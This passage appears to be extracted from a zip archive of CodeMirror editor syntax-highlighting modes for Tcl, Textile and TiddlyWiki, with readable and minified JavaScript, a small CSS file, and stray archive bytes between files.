      if ((ch == '"' || ch == "'") &&
state.inParams) {
        return chain(stream, state, tokenString(ch));
      } else if (/[\[\]{}\(\),;\.]/.test(ch)) {
        if (ch == "(" && beforeParams) state.inParams =
true;
        else if (ch == ")") state.inParams = false;
          return null;
      } else if (/\d/.test(ch)) {
        stream.eatWhile(/[\w\.]/);
        return "number";
      } else if (ch == "#") {
        if (stream.eat("*"))
          return chain(stream, state, tokenComment);
        if (ch == "#" && stream.match(/ *\[ *\[/))
          return chain(stream, state, tokenUnparsed);
        stream.skipToEnd();
        return "comment";
      } else if (ch == '"') {
        stream.skipTo(/"/);
        return "comment";
      } else if (ch == "$") {
        stream.eatWhile(/[$_a-z0-9A-Z\.{:]/);
        stream.eatWhile(/}/);
        state.beforeParams = true;
        return "builtin";
      } else if (isOperatorChar.test(ch)) {
        stream.eatWhile(isOperatorChar);
        return "comment";
      } else {
        stream.eatWhile(/[\w\$_{}\xa1-\uffff]/);
        var word = stream.current().toLowerCase();
        if (keywords && keywords.propertyIsEnumerable(word))
          return "keyword";
        if (functions && functions.propertyIsEnumerable(word)) {
          state.beforeParams = true;
          return "keyword";
        }
        return null;
      }
    }
    function tokenString(quote) {
      return function(stream, state) {
      var escaped = false, next, end = false;
      while ((next = stream.next()) != null) {
        if (next == quote && !escaped) {
          end = true;
          break;
        }
        escaped = !escaped && next == "\\";
      }
      if (end) state.tokenize = tokenBase;
        return "string";
      };
    }
    function tokenComment(stream, state) {
      var maybeEnd = false, ch;
      while (ch = stream.next()) {
        if (ch == "#" && maybeEnd) {
          state.tokenize = tokenBase;
          break;
        }
        maybeEnd = (ch == "*");
      }
      return "comment";
    }
    function tokenUnparsed(stream, state) {
      var maybeEnd = 0, ch;
      while (ch = stream.next()) {
        if (ch == "#" && maybeEnd == 2) {
          state.tokenize = tokenBase;
          break;
        }
        if (ch == "]")
          maybeEnd++;
        else if (ch != " ")
          maybeEnd = 0;
      }
      return "meta";
    }
    return {
      startState: function() {
        return {
          tokenize: tokenBase,
          beforeParams: false,
          inParams: false
        };
      },
      token: function(stream, state) {
        if (stream.eatSpace()) return null;
        return state.tokenize(stream, state);
      },
      lineComment: "#"
    };
});
CodeMirror.defineMIME("text/x-tcl", "tcl");

});
PKJ��['

codemirror/mode/tcl/tcl.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("tcl",(function(){function a(a){for(var
b={},c=a.split(" "),d=0;d<c.length;++d)b[c[d]]=!0;return
b}function b(a,b,c){return b.tokenize=c,c(a,b)}function c(a,c){var
j=c.beforeParams;c.beforeParams=!1;var
k=a.next();if('"'!=k&&"'"!=k||!c.inParams){if(/[\[\]{}\(\),;\.]/.test(k))return"("==k&&j?c.inParams=!0:")"==k&&(c.inParams=!1),null;if(/\d/.test(k))return
a.eatWhile(/[\w\.]/),"number";if("#"==k)return
a.eat("*")?b(a,c,e):"#"==k&&a.match(/ *\[
*\[/)?b(a,c,f):(a.skipToEnd(),"comment");if('"'==k)return
a.skipTo(/"/),"comment";if("$"==k)return
a.eatWhile(/[$_a-z0-9A-Z\.{:]/),a.eatWhile(/}/),c.beforeParams=!0,"builtin";if(i.test(k))return
a.eatWhile(i),"comment";a.eatWhile(/[\w\$_{}\xa1-\uffff]/);var
l=a.current().toLowerCase();return
g&&g.propertyIsEnumerable(l)?"keyword":h&&h.propertyIsEnumerable(l)?(c.beforeParams=!0,"keyword"):null}return
b(a,c,d(k))}function d(a){return function(b,d){for(var
e,f=!1,g=!1;null!=(e=b.next());){if(e==a&&!f){g=!0;break}f=!f&&"\\"==e}return
g&&(d.tokenize=c),"string"}}function e(a,b){for(var
d,e=!1;d=a.next();){if("#"==d&&e){b.tokenize=c;break}e="*"==d}return"comment"}function
f(a,b){for(var
d,e=0;d=a.next();){if("#"==d&&2==e){b.tokenize=c;break}"]"==d?e++:"
"!=d&&(e=0)}return"meta"}var g=a("Tcl safe
after append array auto_execok auto_import auto_load auto_mkindex
auto_mkindex_old auto_qualify auto_reset bgerror binary break catch cd
close concat continue dde eof encoding error eval exec exit expr fblocked
fconfigure fcopy file fileevent filename filename flush for foreach format
gets glob global history http if incr info interp join lappend lindex
linsert list llength load lrange lreplace lsearch lset lsort memory msgcat
namespace open package parray pid pkg::create pkg_mkIndex proc puts pwd
re_syntax read regex regexp registry regsub rename resource return scan
seek set socket source split string subst switch tcl_endOfWord
tcl_findLibrary tcl_startOfNextWord tcl_wordBreakAfter
tcl_startOfPreviousWord tcl_wordBreakBefore tcltest tclvars tell time trace
unknown unset update uplevel upvar variable vwait"),h=a("if
elseif else and not or eq ne in ni for foreach while
switch"),i=/[+\-*&%=<>!?^\/\|]/;return{startState:function(){return{tokenize:c,beforeParams:!1,inParams:!1}},token:function(a,b){return
a.eatSpace()?null:b.tokenize(a,b)},lineComment:"#"}})),a.defineMIME("text/x-tcl","tcl")}));PKJ��[a�b66"codemirror/mode/textile/textile.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") { // CommonJS
    mod(require("../../lib/codemirror"));
  } else if (typeof define == "function" && define.amd) {
// AMD
    define(["../../lib/codemirror"], mod);
  } else { // Plain browser env
    mod(CodeMirror);
  }
})(function(CodeMirror) {
  "use strict";

  var TOKEN_STYLES = {
    addition: "positive",
    attributes: "attribute",
    bold: "strong",
    cite: "keyword",
    code: "atom",
    definitionList: "number",
    deletion: "negative",
    div: "punctuation",
    em: "em",
    footnote: "variable",
    footCite: "qualifier",
    header: "header",
    html: "comment",
    image: "string",
    italic: "em",
    link: "link",
    linkDefinition: "link",
    list1: "variable-2",
    list2: "variable-3",
    list3: "keyword",
    notextile: "string-2",
    pre: "operator",
    p: "property",
    quote: "bracket",
    span: "quote",
    specialChar: "tag",
    strong: "strong",
    sub: "builtin",
    sup: "builtin",
    table: "variable-3",
    tableHeading: "operator"
  };

  function startNewLine(stream, state) {
    state.mode = Modes.newLayout;
    state.tableHeading = false;

    if (state.layoutType === "definitionList" &&
state.spanningLayout &&
        stream.match(RE("definitionListEnd"), false))
      state.spanningLayout = false;
  }

  function handlePhraseModifier(stream, state, ch) {
    if (ch === "_") {
      if (stream.eat("_"))
        return togglePhraseModifier(stream, state, "italic",
/__/, 2);
      else
        return togglePhraseModifier(stream, state, "em", /_/, 1);
    }

    if (ch === "*") {
      if (stream.eat("*")) {
        return togglePhraseModifier(stream, state, "bold",
/\*\*/, 2);
      }
      return togglePhraseModifier(stream, state, "strong", /\*/,
1);
    }

    if (ch === "[") {
      if (stream.match(/\d+\]/)) state.footCite = true;
      return tokenStyles(state);
    }

    if (ch === "(") {
      var spec = stream.match(/^(r|tm|c)\)/);
      if (spec)
        return tokenStylesWith(state, TOKEN_STYLES.specialChar);
    }

    if (ch === "<" &&
stream.match(/(\w+)[^>]+>[^<]+<\/\1>/))
      return tokenStylesWith(state, TOKEN_STYLES.html);

    if (ch === "?" && stream.eat("?"))
      return togglePhraseModifier(stream, state, "cite", /\?\?/,
2);

    if (ch === "=" && stream.eat("="))
      return togglePhraseModifier(stream, state, "notextile",
/==/, 2);

    if (ch === "-" && !stream.eat("-"))
      return togglePhraseModifier(stream, state, "deletion", /-/,
1);

    if (ch === "+")
      return togglePhraseModifier(stream, state, "addition",
/\+/, 1);

    if (ch === "~")
      return togglePhraseModifier(stream, state, "sub", /~/, 1);

    if (ch === "^")
      return togglePhraseModifier(stream, state, "sup", /\^/, 1);

    if (ch === "%")
      return togglePhraseModifier(stream, state, "span", /%/, 1);

    if (ch === "@")
      return togglePhraseModifier(stream, state, "code", /@/, 1);

    if (ch === "!") {
      var type = togglePhraseModifier(stream, state, "image",
/(?:\([^\)]+\))?!/, 1);
      stream.match(/^:\S+/); // optional Url portion
      return type;
    }
    return tokenStyles(state);
  }

  function togglePhraseModifier(stream, state, phraseModifier, closeRE,
openSize) {
    var charBefore = stream.pos > openSize ?
stream.string.charAt(stream.pos - openSize - 1) : null;
    var charAfter = stream.peek();
    if (state[phraseModifier]) {
      if ((!charAfter || /\W/.test(charAfter)) && charBefore
&& /\S/.test(charBefore)) {
        var type = tokenStyles(state);
        state[phraseModifier] = false;
        return type;
      }
    } else if ((!charBefore || /\W/.test(charBefore)) && charAfter
&& /\S/.test(charAfter) &&
               stream.match(new RegExp("^.*\\S" + closeRE.source
+ "(?:\\W|$)"), false)) {
      state[phraseModifier] = true;
      state.mode = Modes.attributes;
    }
    return tokenStyles(state);
  };

  function tokenStyles(state) {
    var disabled = textileDisabled(state);
    if (disabled) return disabled;

    var styles = [];
    if (state.layoutType) styles.push(TOKEN_STYLES[state.layoutType]);

    styles = styles.concat(activeStyles(
      state, "addition", "bold", "cite",
"code", "deletion", "em",
"footCite",
      "image", "italic", "link",
"span", "strong", "sub", "sup",
"table", "tableHeading"));

    if (state.layoutType === "header")
      styles.push(TOKEN_STYLES.header + "-" + state.header);

    return styles.length ? styles.join(" ") : null;
  }

  function textileDisabled(state) {
    var type = state.layoutType;

    switch(type) {
    case "notextile":
    case "code":
    case "pre":
      return TOKEN_STYLES[type];
    default:
      if (state.notextile)
        return TOKEN_STYLES.notextile + (type ? (" " +
TOKEN_STYLES[type]) : "");
      return null;
    }
  }

  function tokenStylesWith(state, extraStyles) {
    var disabled = textileDisabled(state);
    if (disabled) return disabled;

    var type = tokenStyles(state);
    if (extraStyles)
      return type ? (type + " " + extraStyles) : extraStyles;
    else
      return type;
  }

  function activeStyles(state) {
    var styles = [];
    for (var i = 1; i < arguments.length; ++i) {
      if (state[arguments[i]])
        styles.push(TOKEN_STYLES[arguments[i]]);
    }
    return styles;
  }

  function blankLine(state) {
    var spanningLayout = state.spanningLayout, type = state.layoutType;

    for (var key in state) if (state.hasOwnProperty(key))
      delete state[key];

    state.mode = Modes.newLayout;
    if (spanningLayout) {
      state.layoutType = type;
      state.spanningLayout = true;
    }
  }

  var REs = {
    cache: {},
    single: {
      bc: "bc",
      bq: "bq",
      definitionList: /- .*?:=+/,
      definitionListEnd: /.*=:\s*$/,
      div: "div",
      drawTable: /\|.*\|/,
      foot: /fn\d+/,
      header: /h[1-6]/,
      html:
/\s*<(?:\/)?(\w+)(?:[^>]+)?>(?:[^<]+<\/\1>)?/,
      link: /[^"]+":\S/,
      linkDefinition: /\[[^\s\]]+\]\S+/,
      list: /(?:#+|\*+)/,
      notextile: "notextile",
      para: "p",
      pre: "pre",
      table: "table",
      tableCellAttributes: /[\/\\]\d+/,
      tableHeading: /\|_\./,
      tableText: /[^"_\*\[\(\?\+~\^%@|-]+/,
      text: /[^!"_=\*\[\(<\?\+~\^%@-]+/
    },
    attributes: {
      align: /(?:<>|<|>|=)/,
      selector: /\([^\(][^\)]+\)/,
      lang: /\[[^\[\]]+\]/,
      pad: /(?:\(+|\)+){1,2}/,
      css: /\{[^\}]+\}/
    },
    createRe: function(name) {
      switch (name) {
      case "drawTable":
        return REs.makeRe("^", REs.single.drawTable,
"$");
      case "html":
        return REs.makeRe("^", REs.single.html, "(?:",
REs.single.html, ")*", "$");
      case "linkDefinition":
        return REs.makeRe("^", REs.single.linkDefinition,
"$");
      case "listLayout":
        return REs.makeRe("^", REs.single.list,
RE("allAttributes"), "*\\s+");
      case "tableCellAttributes":
        return REs.makeRe("^",
REs.choiceRe(REs.single.tableCellAttributes,
                                            RE("allAttributes")),
"+\\.");
      case "type":
        return REs.makeRe("^", RE("allTypes"));
      case "typeLayout":
        return REs.makeRe("^", RE("allTypes"),
RE("allAttributes"),
                          "*\\.\\.?", "(\\s+|$)");
      case "attributes":
        return REs.makeRe("^", RE("allAttributes"),
"+");

      case "allTypes":
        return REs.choiceRe(REs.single.div, REs.single.foot,
                            REs.single.header, REs.single.bc,
REs.single.bq,
                            REs.single.notextile, REs.single.pre,
REs.single.table,
                            REs.single.para);

      case "allAttributes":
        return REs.choiceRe(REs.attributes.selector, REs.attributes.css,
                            REs.attributes.lang, REs.attributes.align,
REs.attributes.pad);

      default:
        return REs.makeRe("^", REs.single[name]);
      }
    },
    makeRe: function() {
      var pattern = "";
      for (var i = 0; i < arguments.length; ++i) {
        var arg = arguments[i];
        pattern += (typeof arg === "string") ? arg : arg.source;
      }
      return new RegExp(pattern);
    },
    choiceRe: function() {
      var parts = [arguments[0]];
      for (var i = 1; i < arguments.length; ++i) {
        parts[i * 2 - 1] = "|";
        parts[i * 2] = arguments[i];
      }

      parts.unshift("(?:");
      parts.push(")");
      return REs.makeRe.apply(null, parts);
    }
  };

  function RE(name) {
    return (REs.cache[name] || (REs.cache[name] = REs.createRe(name)));
  }

  var Modes = {
    newLayout: function(stream, state) {
      if (stream.match(RE("typeLayout"), false)) {
        state.spanningLayout = false;
        return (state.mode = Modes.blockType)(stream, state);
      }
      var newMode;
      if (!textileDisabled(state)) {
        if (stream.match(RE("listLayout"), false))
          newMode = Modes.list;
        else if (stream.match(RE("drawTable"), false))
          newMode = Modes.table;
        else if (stream.match(RE("linkDefinition"), false))
          newMode = Modes.linkDefinition;
        else if (stream.match(RE("definitionList")))
          newMode = Modes.definitionList;
        else if (stream.match(RE("html"), false))
          newMode = Modes.html;
      }
      return (state.mode = (newMode || Modes.text))(stream, state);
    },

    blockType: function(stream, state) {
      var match, type;
      state.layoutType = null;

      if (match = stream.match(RE("type")))
        type = match[0];
      else
        return (state.mode = Modes.text)(stream, state);

      if (match = type.match(RE("header"))) {
        state.layoutType = "header";
        state.header = parseInt(match[0][1]);
      } else if (type.match(RE("bq"))) {
        state.layoutType = "quote";
      } else if (type.match(RE("bc"))) {
        state.layoutType = "code";
      } else if (type.match(RE("foot"))) {
        state.layoutType = "footnote";
      } else if (type.match(RE("notextile"))) {
        state.layoutType = "notextile";
      } else if (type.match(RE("pre"))) {
        state.layoutType = "pre";
      } else if (type.match(RE("div"))) {
        state.layoutType = "div";
      } else if (type.match(RE("table"))) {
        state.layoutType = "table";
      }

      state.mode = Modes.attributes;
      return tokenStyles(state);
    },

    text: function(stream, state) {
      if (stream.match(RE("text"))) return tokenStyles(state);

      var ch = stream.next();
      if (ch === '"')
        return (state.mode = Modes.link)(stream, state);
      return handlePhraseModifier(stream, state, ch);
    },

    attributes: function(stream, state) {
      state.mode = Modes.layoutLength;

      if (stream.match(RE("attributes")))
        return tokenStylesWith(state, TOKEN_STYLES.attributes);
      else
        return tokenStyles(state);
    },

    layoutLength: function(stream, state) {
      if (stream.eat(".") && stream.eat("."))
        state.spanningLayout = true;

      state.mode = Modes.text;
      return tokenStyles(state);
    },

    list: function(stream, state) {
      var match = stream.match(RE("list"));
      state.listDepth = match[0].length;
      var listMod = (state.listDepth - 1) % 3;
      if (!listMod)
        state.layoutType = "list1";
      else if (listMod === 1)
        state.layoutType = "list2";
      else
        state.layoutType = "list3";

      state.mode = Modes.attributes;
      return tokenStyles(state);
    },

    link: function(stream, state) {
      state.mode = Modes.text;
      if (stream.match(RE("link"))) {
        stream.match(/\S+/);
        return tokenStylesWith(state, TOKEN_STYLES.link);
      }
      return tokenStyles(state);
    },

    linkDefinition: function(stream, state) {
      stream.skipToEnd();
      return tokenStylesWith(state, TOKEN_STYLES.linkDefinition);
    },

    definitionList: function(stream, state) {
      stream.match(RE("definitionList"));

      state.layoutType = "definitionList";

      if (stream.match(/\s*$/))
        state.spanningLayout = true;
      else
        state.mode = Modes.attributes;

      return tokenStyles(state);
    },

    html: function(stream, state) {
      stream.skipToEnd();
      return tokenStylesWith(state, TOKEN_STYLES.html);
    },

    table: function(stream, state) {
      state.layoutType = "table";
      return (state.mode = Modes.tableCell)(stream, state);
    },

    tableCell: function(stream, state) {
      if (stream.match(RE("tableHeading")))
        state.tableHeading = true;
      else
        stream.eat("|");

      state.mode = Modes.tableCellAttributes;
      return tokenStyles(state);
    },

    tableCellAttributes: function(stream, state) {
      state.mode = Modes.tableText;

      if (stream.match(RE("tableCellAttributes")))
        return tokenStylesWith(state, TOKEN_STYLES.attributes);
      else
        return tokenStyles(state);
    },

    tableText: function(stream, state) {
      if (stream.match(RE("tableText")))
        return tokenStyles(state);

      if (stream.peek() === "|") { // end of cell
        state.mode = Modes.tableCell;
        return tokenStyles(state);
      }
      return handlePhraseModifier(stream, state, stream.next());
    }
  };

  CodeMirror.defineMode("textile", function() {
    return {
      startState: function() {
        return { mode: Modes.newLayout };
      },
      token: function(stream, state) {
        if (stream.sol()) startNewLine(stream, state);
        return state.mode(stream, state);
      },
      blankLine: blankLine
    };
  });

  CodeMirror.defineMIME("text/x-textile", "textile");
});
PKJ��[vv���&codemirror/mode/textile/textile.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function
b(a,b){b.mode=m.newLayout,b.tableHeading=!1,"definitionList"===b.layoutType&&b.spanningLayout&&a.match(j("definitionListEnd"),!1)&&(b.spanningLayout=!1)}function
c(a,b,c){if("_"===c)return
a.eat("_")?d(a,b,"italic",/__/,2):d(a,b,"em",/_/,1);if("*"===c)return
a.eat("*")?d(a,b,"bold",/\*\*/,2):d(a,b,"strong",/\*/,1);if("["===c)return
a.match(/\d+\]/)&&(b.footCite=!0),e(b);if("("===c){if(a.match(/^(r|tm|c)\)/))return
g(b,k.specialChar)}if("<"===c&&a.match(/(\w+)[^>]+>[^<]+<\/\1>/))return
g(b,k.html);if("?"===c&&a.eat("?"))return
d(a,b,"cite",/\?\?/,2);if("="===c&&a.eat("="))return
d(a,b,"notextile",/==/,2);if("-"===c&&!a.eat("-"))return
d(a,b,"deletion",/-/,1);if("+"===c)return
d(a,b,"addition",/\+/,1);if("~"===c)return
d(a,b,"sub",/~/,1);if("^"===c)return
d(a,b,"sup",/\^/,1);if("%"===c)return
d(a,b,"span",/%/,1);if("@"===c)return
d(a,b,"code",/@/,1);if("!"===c){var
f=d(a,b,"image",/(?:\([^\)]+\))?!/,1);return
a.match(/^:\S+/),f}return e(b)}function d(a,b,c,d,f){var
g=a.pos>f?a.string.charAt(a.pos-f-1):null,h=a.peek();if(b[c]){if((!h||/\W/.test(h))&&g&&/\S/.test(g)){var
i=e(b);return
b[c]=!1,i}}else(!g||/\W/.test(g))&&h&&/\S/.test(h)&&a.match(new
RegExp("^.*\\S"+d.source+"(?:\\W|$)"),!1)&&(b[c]=!0,b.mode=m.attributes);return
e(b)}function e(a){var b=f(a);if(b)return b;var c=[];return
a.layoutType&&c.push(k[a.layoutType]),c=c.concat(h(a,"addition","bold","cite","code","deletion","em","footCite","image","italic","link","span","strong","sub","sup","table","tableHeading")),"header"===a.layoutType&&c.push(k.header+"-"+a.header),c.length?c.join("
"):null}function f(a){var
b=a.layoutType;switch(b){case"notextile":case"code":case"pre":return
k[b];default:return a.notextile?k.notextile+(b?"
"+k[b]:""):null}}function g(a,b){var c=f(a);if(c)return
c;var d=e(a);return b?d?d+" "+b:b:d}function h(a){for(var
b=[],c=1;c<arguments.length;++c)a[arguments[c]]&&b.push(k[arguments[c]]);return
b}function i(a){var b=a.spanningLayout,c=a.layoutType;for(var d in
a)a.hasOwnProperty(d)&&delete
a[d];a.mode=m.newLayout,b&&(a.layoutType=c,a.spanningLayout=!0)}function
j(a){return l.cache[a]||(l.cache[a]=l.createRe(a))}var
k={addition:"positive",attributes:"attribute",bold:"strong",cite:"keyword",code:"atom",definitionList:"number",deletion:"negative",div:"punctuation",em:"em",footnote:"variable",footCite:"qualifier",header:"header",html:"comment",image:"string",italic:"em",link:"link",linkDefinition:"link",list1:"variable-2",list2:"variable-3",list3:"keyword",notextile:"string-2",pre:"operator",p:"property",quote:"bracket",span:"quote",specialChar:"tag",strong:"strong",sub:"builtin",sup:"builtin",table:"variable-3",tableHeading:"operator"},l={cache:{},single:{bc:"bc",bq:"bq",definitionList:/-
.*?:=+/,definitionListEnd:/.*=:\s*$/,div:"div",drawTable:/\|.*\|/,foot:/fn\d+/,header:/h[1-6]/,html:/\s*<(?:\/)?(\w+)(?:[^>]+)?>(?:[^<]+<\/\1>)?/,link:/[^"]+":\S/,linkDefinition:/\[[^\s\]]+\]\S+/,list:/(?:#+|\*+)/,notextile:"notextile",para:"p",pre:"pre",table:"table",tableCellAttributes:/[\/\\]\d+/,tableHeading:/\|_\./,tableText:/[^"_\*\[\(\?\+~\^%@|-]+/,text:/[^!"_=\*\[\(<\?\+~\^%@-]+/},attributes:{align:/(?:<>|<|>|=)/,selector:/\([^\(][^\)]+\)/,lang:/\[[^\[\]]+\]/,pad:/(?:\(+|\)+){1,2}/,css:/\{[^\}]+\}/},createRe:function(a){switch(a){case"drawTable":return
l.makeRe("^",l.single.drawTable,"$");case"html":return
l.makeRe("^",l.single.html,"(?:",l.single.html,")*","$");case"linkDefinition":return
l.makeRe("^",l.single.linkDefinition,"$");case"listLayout":return
l.makeRe("^",l.single.list,j("allAttributes"),"*\\s+");case"tableCellAttributes":return
l.makeRe("^",l.choiceRe(l.single.tableCellAttributes,j("allAttributes")),"+\\.");case"type":return
l.makeRe("^",j("allTypes"));case"typeLayout":return
l.makeRe("^",j("allTypes"),j("allAttributes"),"*\\.\\.?","(\\s+|$)");case"attributes":return
l.makeRe("^",j("allAttributes"),"+");case"allTypes":return
l.choiceRe(l.single.div,l.single.foot,l.single.header,l.single.bc,l.single.bq,l.single.notextile,l.single.pre,l.single.table,l.single.para);case"allAttributes":return
l.choiceRe(l.attributes.selector,l.attributes.css,l.attributes.lang,l.attributes.align,l.attributes.pad);default:return
l.makeRe("^",l.single[a])}},makeRe:function(){for(var
a="",b=0;b<arguments.length;++b){var
c=arguments[b];a+="string"==typeof c?c:c.source}return new
RegExp(a)},choiceRe:function(){for(var
a=[arguments[0]],b=1;b<arguments.length;++b)a[2*b-1]="|",a[2*b]=arguments[b];return
a.unshift("(?:"),a.push(")"),l.makeRe.apply(null,a)}},m={newLayout:function(a,b){if(a.match(j("typeLayout"),!1))return
b.spanningLayout=!1,(b.mode=m.blockType)(a,b);var c;return
f(b)||(a.match(j("listLayout"),!1)?c=m.list:a.match(j("drawTable"),!1)?c=m.table:a.match(j("linkDefinition"),!1)?c=m.linkDefinition:a.match(j("definitionList"))?c=m.definitionList:a.match(j("html"),!1)&&(c=m.html)),(b.mode=c||m.text)(a,b)},blockType:function(a,b){var
c,d;return
b.layoutType=null,(c=a.match(j("type")))?(d=c[0],(c=d.match(j("header")))?(b.layoutType="header",b.header=parseInt(c[0][1])):d.match(j("bq"))?b.layoutType="quote":d.match(j("bc"))?b.layoutType="code":d.match(j("foot"))?b.layoutType="footnote":d.match(j("notextile"))?b.layoutType="notextile":d.match(j("pre"))?b.layoutType="pre":d.match(j("div"))?b.layoutType="div":d.match(j("table"))&&(b.layoutType="table"),b.mode=m.attributes,e(b)):(b.mode=m.text)(a,b)},text:function(a,b){if(a.match(j("text")))return
e(b);var
d=a.next();return'"'===d?(b.mode=m.link)(a,b):c(a,b,d)},attributes:function(a,b){return
b.mode=m.layoutLength,a.match(j("attributes"))?g(b,k.attributes):e(b)},layoutLength:function(a,b){return
a.eat(".")&&a.eat(".")&&(b.spanningLayout=!0),b.mode=m.text,e(b)},list:function(a,b){var
c=a.match(j("list"));b.listDepth=c[0].length;var
d=(b.listDepth-1)%3;return
b.layoutType=d?1===d?"list2":"list3":"list1",b.mode=m.attributes,e(b)},link:function(a,b){return
b.mode=m.text,a.match(j("link"))?(a.match(/\S+/),g(b,k.link)):e(b)},linkDefinition:function(a,b){return
a.skipToEnd(),g(b,k.linkDefinition)},definitionList:function(a,b){return
a.match(j("definitionList")),b.layoutType="definitionList",a.match(/\s*$/)?b.spanningLayout=!0:b.mode=m.attributes,e(b)},html:function(a,b){return
a.skipToEnd(),g(b,k.html)},table:function(a,b){return
b.layoutType="table",(b.mode=m.tableCell)(a,b)},tableCell:function(a,b){return
a.match(j("tableHeading"))?b.tableHeading=!0:a.eat("|"),b.mode=m.tableCellAttributes,e(b)},tableCellAttributes:function(a,b){return
b.mode=m.tableText,a.match(j("tableCellAttributes"))?g(b,k.attributes):e(b)},tableText:function(a,b){return
a.match(j("tableText"))?e(b):"|"===a.peek()?(b.mode=m.tableCell,e(b)):c(a,b,a.next())}};a.defineMode("textile",(function(){return{startState:function(){return{mode:m.newLayout}},token:function(a,c){return
a.sol()&&b(a,c),c.mode(a,c)},blankLine:i}})),a.defineMIME("text/x-textile","textile")}));PKJ��[j����)codemirror/mode/tiddlywiki/tiddlywiki.cssnu�[���span.cm-underlined
{
  text-decoration: underline;
}
span.cm-strikethrough {
  text-decoration: line-through;
}
span.cm-brace {
  color: #170;
  font-weight: bold;
}
span.cm-table {
  color: blue;
  font-weight: bold;
}
PKJ��[K<S�@!@!(codemirror/mode/tiddlywiki/tiddlywiki.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

/***
    |''Name''|tiddlywiki.js|
    |''Description''|Enables TiddlyWikiy syntax
highlighting using CodeMirror|
    |''Author''|PMario|
    |''Version''|0.1.7|
    |''Status''|''stable''|
   
|''Source''|[[GitHub|https://github.com/pmario/CodeMirror2/blob/tw-syntax/mode/tiddlywiki]]|
   
|''Documentation''|https://codemirror.tiddlyspace.com/|
    |''License''|[[MIT
License|http://www.opensource.org/licenses/mit-license.php]]|
    |''CoreVersion''|2.5.0|
    |''Requires''|codemirror.js|
    |''Keywords''|syntax highlighting color code mirror
codemirror|
    ! Info
    CoreVersion parameter is needed for TiddlyWiki only!
***/

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("tiddlywiki", function () {
  // Tokenizer
  var textwords = {};

  var keywords = {
    "allTags": true, "closeAll": true,
"list": true,
    "newJournal": true, "newTiddler": true,
    "permaview": true, "saveChanges": true,
    "search": true, "slider": true, "tabs":
true,
    "tag": true, "tagging": true, "tags":
true,
    "tiddler": true, "timeline": true,
    "today": true, "version": true, "option":
true,
    "with": true, "filter": true
  };

  var isSpaceName = /[\w_\-]/i,
      reHR = /^\-\-\-\-+$/,                                 // <hr>
      reWikiCommentStart = /^\/\*\*\*$/,            // /***
      reWikiCommentStop = /^\*\*\*\/$/,             // ***/
      reBlockQuote = /^<<<$/,

      reJsCodeStart = /^\/\/\{\{\{$/,                       // //{{{ js
block start
      reJsCodeStop = /^\/\/\}\}\}$/,                        // //}}} js
stop
      reXmlCodeStart = /^<!--\{\{\{-->$/,           // xml block
start
      reXmlCodeStop = /^<!--\}\}\}-->$/,            // xml stop

      reCodeBlockStart = /^\{\{\{$/,                        // {{{ TW text
div block start
      reCodeBlockStop = /^\}\}\}$/,                 // }}} TW text stop

      reUntilCodeStop = /.*?\}\}\}/;

  function chain(stream, state, f) {
    state.tokenize = f;
    return f(stream, state);
  }

  function tokenBase(stream, state) {
    var sol = stream.sol(), ch = stream.peek();

    state.block = false;        // indicates the start of a code block.

    // check start of  blocks
    if (sol && /[<\/\*{}\-]/.test(ch)) {
      if (stream.match(reCodeBlockStart)) {
        state.block = true;
        return chain(stream, state, twTokenCode);
      }
      if (stream.match(reBlockQuote))
        return 'quote';
      if (stream.match(reWikiCommentStart) ||
stream.match(reWikiCommentStop))
        return 'comment';
      if (stream.match(reJsCodeStart) || stream.match(reJsCodeStop) ||
stream.match(reXmlCodeStart) || stream.match(reXmlCodeStop))
        return 'comment';
      if (stream.match(reHR))
        return 'hr';
    }

    stream.next();
    if (sol && /[\/\*!#;:>|]/.test(ch)) {
      if (ch == "!") { // tw header
        stream.skipToEnd();
        return "header";
      }
      if (ch == "*") { // tw list
        stream.eatWhile('*');
        return "comment";
      }
      if (ch == "#") { // tw numbered list
        stream.eatWhile('#');
        return "comment";
      }
      if (ch == ";") { // definition list, term
        stream.eatWhile(';');
        return "comment";
      }
      if (ch == ":") { // definition list, description
        stream.eatWhile(':');
        return "comment";
      }
      if (ch == ">") { // single line quote
        stream.eatWhile(">");
        return "quote";
      }
      if (ch == '|')
        return 'header';
    }

    if (ch == '{' && stream.match(/\{\{/))
      return chain(stream, state, twTokenCode);

    // rudimentary html:// file:// link matching. TW knows much more ...
    if (/[hf]/i.test(ch) &&
        /[ti]/i.test(stream.peek()) &&
       
stream.match(/\b(ttps?|tp|ile):\/\/[\-A-Z0-9+&@#\/%?=~_|$!:,.;]*[A-Z0-9+&@#\/%=~_|$]/i))
      return "link";

    // just a little string indicator, don't want to have the whole
string covered
    if (ch == '"')
      return 'string';

    if (ch == '~')    // _no_ CamelCase indicator should be bold
      return 'brace';

    if (/[\[\]]/.test(ch) && stream.match(ch)) // check for [[..]]
      return 'brace';

    if (ch == "@") {    // check for space link. TODO fix @@...@@
highlighting
      stream.eatWhile(isSpaceName);
      return "link";
    }

    if (/\d/.test(ch)) {        // numbers
      stream.eatWhile(/\d/);
      return "number";
    }

    if (ch == "/") { // tw invisible comment
      if (stream.eat("%")) {
        return chain(stream, state, twTokenComment);
      } else if (stream.eat("/")) { //
        return chain(stream, state, twTokenEm);
      }
    }

    if (ch == "_" && stream.eat("_")) // tw
underline
        return chain(stream, state, twTokenUnderline);

    // strikethrough and mdash handling
    if (ch == "-" && stream.eat("-")) {
      // if strikethrough looks ugly, change CSS.
      if (stream.peek() != ' ')
        return chain(stream, state, twTokenStrike);
      // mdash
      if (stream.peek() == ' ')
        return 'brace';
    }

    if (ch == "'" && stream.eat("'"))
// tw bold
